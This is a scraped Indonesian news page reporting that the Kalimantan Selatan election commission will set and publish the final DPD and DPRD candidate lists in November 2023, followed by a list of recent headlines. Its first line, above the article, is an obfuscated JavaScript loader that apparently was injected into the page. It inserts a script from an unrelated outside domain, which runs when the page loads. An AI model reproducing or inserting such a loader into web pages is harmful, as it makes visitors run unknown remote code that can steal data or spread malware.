(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PEMILU 2024

KPU Kalsel Segara Umumkan Daftar Calon Tetap DPD dan DPRD


KANALKALIMANTAN.COM, BANJARMASIN – Setelah melewati sejumlah tahapan, Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) tinggal menetapkan Daftar Calon Tetap (DCT) peserta Pemilu.

Penetapan DCT Caleg Dewan Perwakilan Daerah (DPD) RI dan Dewan Perwakilan Rakyat Daerah (DPRD) dijadwalkan akan dilaksanakan pada Jumat (3/11/2023), kemudian sehari setelahnya tepatnya Sabtu (4/11/2023) akan diumumkan ke publik.

“Tanggal 3 November kita tetapkan DCT, tanggal 4 pengumuman dan tanggal 5 kita serahkan ke KPU RI,” ungkap Ketua KPU Kalsel Andi Tenri Sompa kepada Kanalkalimantan.com, Kamis (2/11/2023).

Sebelum itu kata Andi Tenri, pihaknya telah melakukan finalisasi verifikasi dan validasi penyusunan daftar bacaleg yang akan dimasukan ke dalam surat suara.

Baca juga: Pemilik Kafe Jual Miras di Trikora Banjarbaru Didenda Rp1,5 Juta

“18 Parpol tidak ada yang komplain terhadap yang dibuat dalam surat-surat tersebut,” ujarnya.

Ditegaskan Ketua KPU Kalsel, setelah DCT ditetapkan tidak ada lagi perubahan yang dapat dilakukan peserta Pemilu baik calon anggota DPD maupun DPRD.

Setelah penetapan, selanjutnya KPU Kalsel dikatakan akan mempersiapkan masa kampanye yang akan dimulai dari tanggal 28 November 2023 sampai 10 Februari 2024.

Termasuk nanti pihaknya akan mengundang kembali seluruh perwakilan 18 Parpol dan calon DPD RI untuk membahas terkait juknis kampanye dan pelaporan dana kampanye.

Baca juga: Peliputan Pemilu 2024 Wartawan Harus Perhatikan Kode Etik Jurnalistik

Namun, Andi Tenri mengatakan untuk petunjuk teknis masih menunggu revisi Peraturan Komisi Pemilihan Umum (PKPU) Nomor 15 Tahun 2023 tentang Kampanye Pemilu setelah adanya putusan Mahkamah Konstitusi (MK) yang memperbolehkan kampanye di lingkungan pendidikan.

“Juknisnya itu belum turun, karena kemarin ada putusan Mahkamah Konstitusi tentang kampanye di lingkungan pendidikan, mungkin dalam beberapa hari ini sudah turun,” kata Andi Tenri. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

6 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

8 jam ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

13 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

16 jam ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

18 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

1 hari ago

This website uses cookies.